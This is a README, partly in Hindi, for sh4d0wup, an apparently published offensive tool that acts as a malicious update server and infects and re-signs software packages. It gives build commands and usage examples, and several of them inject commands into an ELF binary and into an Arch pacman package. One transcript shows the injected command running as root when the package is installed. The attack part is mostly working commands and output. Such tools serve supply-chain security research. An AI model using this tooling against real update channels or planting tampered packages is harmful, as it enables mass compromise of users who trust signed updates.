
हस्ताक्षर-कुंजी दुरुपयोग और अद्यतन शोषण ढांचा
% docker run -it --rm ghcr.io/kpcyrd/sh4d0wup:edge -h
Usage: sh4d0wup [OPTIONS] <COMMAND>
Commands:
bait Start a malicious update server
front Bind a http/https server but forward everything unmodified
infect High level tampering, inject additional commands into a package
tamper Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution
keygen Generate signing keys with the given parameters
sign Use signing keys to generate signatures
hsm Interact with hardware signing keys
build Compile an attack based on a plot
check Check if the plot can still execute correctly against the configured image
req Emulate a http request to test routing and selectors
completions Generate shell completions
help Print this message or the help of the given subcommand(s)
Options:
-v, --verbose... Increase logging output (can be used multiple times)
-q, --quiet... Reduce logging output (can be used multiple times)
-h, --help Print help information
-V, --version Print version information
क्या आपने कभी सोचा है कि आपने जो अपडेट डाउनलोड किया है वह वही है जो बाकी सभी को मिलता है या आपको एक अलग मिला है जो सिर्फ आपके लिए बनाया गया था? शैडो अपडेट वे अपडेट हैं जो आधिकारिक तौर पर मौजूद नहीं हैं लेकिन उनके पास वैध हस्ताक्षर होते हैं और क्लाइंट द्वारा वास्तविक के रूप में स्वीकार किए जाएंगे। ऐसा हो सकता है यदि हैकर्स द्वारा साइनिंग कुंजी से समझौता किया जाता है या यदि वैध पहुंच वाला कोई रिलीज़ इंजीनियर बेईमान हो जाता है।
sh4d0wup एक दुर्भावनापूर्ण http/https अपडेट सर्वर है जो एक वैध सर्वर के सामने रिवर्स प्रॉक्सी के रूप में कार्य करता है और विभिन्न आर्टिफैक्ट प्रारूपों को संक्रमित + हस्ताक्षर कर सकता है। हमलों को plots में कॉन्फ़िगर किया जाता है जो वर्णन करते हैं कि http अनुरोध रूटिंग कैसे काम करता है, आर्टिफैक्ट कैसे पैच/जनरेट किए जाते हैं, उन पर कैसे हस्ताक्षर किए जाने चाहिए और किस कुंजी के साथ। एक रूट में selectors हो सकते हैं ताकि यह केवल तभी मेल खाए जब उदा. उपयोगकर्ता-एजेंट किसी पैटर्न से मेल खाता हो या यदि क्लाइंट किसी विशिष्ट आईपी पते से कनेक्ट हो रहा हो। विकास और परीक्षण के लिए, नकली साइनिंग कुंजी/प्रमाणपत्र उत्पन्न किए जा सकते हैं और विश्वसनीय के रूप में चिह्नित किए जा सकते हैं।
Arch Linux [extra] रिपॉजिटरी में एक पूर्व-निर्मित बाइनरी उपलब्ध है। Debian आधारित सिस्टम पर स्रोत से बाइनरी बनाने के लिए इसका उपयोग करें (ubuntu 22.04 पर परीक्षण किया गया):
apt-get install curl git build-essential clang pkg-config libssl-dev libzstd-dev libpcsclite-dev liblzma-dev
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
source "$HOME/.cargo/env"
git clone https://github.com/kpcyrd/sh4d0wup
cd sh4d0wup
cargo build --release
sudo cp ./target/release/sh4d0wup /usr/bin
sh4d0wup --help
कुछ प्लॉट दूसरों की तुलना में तैयार करने में अधिक जटिल होते हैं, डाउनलोड और आर्टिफैक्ट पैचिंग के कारण लंबे स्टार्टअप समय से बचने के लिए, आप पहले से एक प्लॉट बना सकते हैं। यह पहले से हस्ताक्षर बनाने की भी अनुमति देता है।
sh4d0wup build ./contrib/plot-hello-world.yaml -o ./plot.tar.zst
यह प्लॉट के अनुसार एक दुर्भावनापूर्ण http अपडेट सर्वर शुरू करता है। यह yaml फ़ाइलों को भी स्वीकार करता है लेकिन उन्हें शुरू होने में अधिक समय लग सकता है।
sh4d0wup bait -B 0.0.0.0:1337 ./plot.tar.zst
आप यहां उदाहरण पा सकते हैं:
contrib/plot-archlinux.yamlcontrib/plot-debian.yamlcontrib/plot-rustup.yamlcontrib/plot-curl-sh.yamlsh4d0wup infect elf% sh4d0wup infect elf /usr/bin/sh4d0wup -c id a.out
[2022-12-19T23:50:52Z INFO sh4d0wup::infect::elf] Spawning C compiler...
[2022-12-19T23:50:52Z INFO sh4d0wup::infect::elf] Generating source code...
[2022-12-19T23:50:57Z INFO sh4d0wup::infect::elf] Waiting for compile to finish...
[2022-12-19T23:51:01Z INFO sh4d0wup::infect::elf] Successfully generated binary
% ./a.out help
uid=1000(user) gid=1000(user) groups=1000(user),212(rebuilderd),973(docker),998(wheel)
Usage: a.out [OPTIONS] <COMMAND>
Commands:
bait Start a malicious update server
infect High level tampering, inject additional commands into a package
tamper Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution
keygen Generate signing keys with the given parameters
sign Use signing keys to generate signatures
hsm Interact with hardware signing keys
build Compile an attack based on a plot
check Check if the plot can still execute correctly against the configured image
completions Generate shell completions
help Print this message or the help of the given subcommand(s)
Options:
-v, --verbose... Turn debugging information on
-h, --help Print help information
sh4d0wup infect pacman% sh4d0wup infect pacman --set 'pkgver=0.2.0-2' /var/cache/pacman/pkg/sh4d0wup-0.2.0-1-x86_64.pkg.tar.zst -c id sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst
[2022-12-09T16:08:11Z INFO sh4d0wup::infect::pacman] This package has no install hook, adding one from scratch...
% sudo pacman -U sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst
loading packages...
resolving dependencies...
looking for conflicting packages...
Packages (1) sh4d0wup-0.2.0-2
Total Installed Size: 13.36 MiB
Net Upgrade Size: 0.00 MiB
:: Proceed with installation? [Y/n]
(1/1) checking keys in keyring [#######################################] 100%
(1/1) checking package integrity [#######################################] 100%
(1/1) loading package files [#######################################] 100%
(1/1) checking for file conflicts [#######################################] 100%
(1/1) checking available disk space [#######################################] 100%
:: Processing package changes...
(1/1) upgrading sh4d0wup [#######################################] 100%
uid=0(root) gid=0(root) groups=0(root)
:: Running post-transaction hooks...
(1/2) Arming ConditionNeedsUpdate...
(2/2) Notifying arch-audit-gtk
sh4d0wup infect deb